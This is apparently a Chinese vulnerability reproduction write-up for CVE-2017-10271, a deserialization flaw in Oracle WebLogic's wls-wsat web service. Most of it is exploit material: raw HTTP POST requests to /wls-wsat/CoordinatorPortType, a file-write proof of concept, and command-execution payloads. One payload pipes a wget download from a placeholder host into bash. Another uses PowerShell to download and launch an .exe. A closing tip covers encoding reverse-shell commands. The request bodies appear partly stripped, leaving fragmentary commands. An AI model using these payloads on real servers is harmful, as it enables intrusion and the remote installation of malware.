漏洞编号:
CVE-2017-10271
影响范围:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
漏洞详情:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞原理:
https://www.anquanke.com/post/id/92003
漏洞复现环境:
WebLogic Servcer :10.3.6.0
漏洞复现:
1、利用java.io.PrintWriter
类进行文件创建,并写入数据。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
Content-Length: 605
![/upload-images.jianshu.io/upload_images/2306050-92dac393814a7225.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
以上Poc是向服务器的servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt
写文件。文件名称为test.txt。文件内容为“Hello,this is a test!”
,成功发送请求之后服务器会返回 500 status code。需要注意的地方是头部必须加上Content-Type: text/xml
请求会出错。
发送请求之后访问http://ip/bea_wls_internal/test.txt
,查看文件是否写入成功
2、执行系统命令
利用java.lang.ProcessBuilder
类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。
2.1 通过执行wget、curl命令或者powershell,下载可执行文件并执行。、
Linux代码如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
/bin/bash
-c
wget http://xxxx.com/xxx | /bin/bash xxx
Windows代码如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 8.8.8.8:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: text/xml
powershell
-Command
(New-Object System.Net.WebClient).DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');
需要注意地方:
注意:反弹shell的语句,需要进行编码,,否则解析XML的时候将出现格式错误